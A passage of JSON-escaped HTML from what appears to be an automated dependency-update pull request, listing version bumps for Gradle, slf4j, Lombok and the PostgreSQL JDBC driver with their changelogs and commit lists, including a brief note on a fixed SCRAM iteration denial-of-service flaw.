href=\"https://github.com/gradle/gradle/commit/d51476fda21330c037a04b43ec9a93a929d05b87\"\u003e\u003ccode\u003ed51476f\u003c/code\u003e\u003c/a\u003e Fix tryRunAsWorkerThread null-return test to match contract\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/090ebabc5b6f648e01c0269a321d80372fdbfe0f\"\u003e\u003ccode\u003e090ebab\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Add getLength() to FilePropertyVisitor.VisitState\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/bceab24677298144860f6919bdcb031e806dbf23\"\u003e\u003ccode\u003ebceab24\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Fix annotation\u0026quot;\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.slf4j:slf4j-api` from 2.0.17 to 2.0.18\n\nUpdates `org.projectlombok:lombok` from 1.18.44 to 1.18.46\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/projectlombok/lombok/blob/master/doc/changelog.markdown\"\u003eorg.projectlombok:lombok's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch3\u003ev1.18.46 (April 22nd, 2026)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK26 support added \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4019\"\u003e#4019\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePLATFORM: Spring Tools Suite 5 supported \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3985\"\u003e#3985\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: \u003ccode\u003e@Jacksonized\u003c/code\u003e no longer stops generating \u003ccode\u003e@JsonProperty\u003c/code\u003e once an explicit \u003ccode\u003e@JsonIgnore\u003c/code\u003e annotations is encountered \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4022\"\u003e#4022\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: In eclipse, mixing \u003ccode\u003e@Jacksonized\u003c/code\u003e and \u003ccode\u003efluent = true\u003c/code\u003e no longer causes the error \u003ccode\u003ecom.fasterxml.jackson.annotation.JsonProperty is not a repeatable annotation interface\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3934\"\u003e#3934\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Some finishing touches for v1.18.44's support of Jackson3 \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4004\"\u003e#4004\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/936ca59baf844fd6c0ad641974295498785d8091\"\u003e\u003ccode\u003e936ca59\u003c/code\u003e\u003c/a\u003e [build] lombok's launcher is still intended to be 1.4 compatible, or at least...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/fcdab3f29e1b48c8f4b33ef9231ec2587a43d122\"\u003e\u003ccode\u003efcdab3f\u003c/code\u003e\u003c/a\u003e [version] pre-release version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/1cb7d49c5d2dc98af7a66413d8119dec285d0666\"\u003e\u003ccode\u003e1cb7d49\u003c/code\u003e\u003c/a\u003e [changelog]\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4004\"\u003e#4004\u003c/a\u003e Mention Jackson3 final touches in changelog.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/12a15b00555ec8097eca2bf7d77c2c2124e13e0e\"\u003e\u003ccode\u003e12a15b0\u003c/code\u003e\u003c/a\u003e Fix: Bump EA_JDK to 27 (25 and 26 have been released)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/2be766cfc2ef56f2d986f28f734c98535d611aee\"\u003e\u003ccode\u003e2be766c\u003c/code\u003e\u003c/a\u003e Merge branch 'jackson3-final-touches'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/290fa4c8539c7e97b47f7e80033e078127050eb5\"\u003e\u003ccode\u003e290fa4c\u003c/code\u003e\u003c/a\u003e [trivial] constantize the warning we spit out for ambiguous jackson2/3, and m...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/e6567b6621f86b43033ab4a75e0273780e18e998\"\u003e\u003ccode\u003ee6567b6\u003c/code\u003e\u003c/a\u003e test: Add Jackson 3 test cases and version ambiguity warnings\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/45e72e241abe98dcfb66408402da825dd2b8e925\"\u003e\u003ccode\u003e45e72e2\u003c/code\u003e\u003c/a\u003e feat: Add Jackson 3 databind/dataformat annotations to HandlerUtil copy lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/184d42363d86446a63b6270ac1eb352dc43ae76c\"\u003e\u003ccode\u003e184d423\u003c/code\u003e\u003c/a\u003e feat: Add Jackson 3 support to \u003ca href=\"https://github.com/Jacksonized\"\u003e\u003ccode\u003e@​Jacksonized\u003c/code\u003e\u003c/a\u003e handlers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/e027ad0f1515bd33d4d329d90e59dccbaf44651e\"\u003e\u003ccode\u003ee027ad0\u003c/code\u003e\u003c/a\u003e refactored to ShadowClassLoader use Collections::enumeration instead of Vector\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/projectlombok/lombok/compare/v1.18.44...v1.18.46\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare 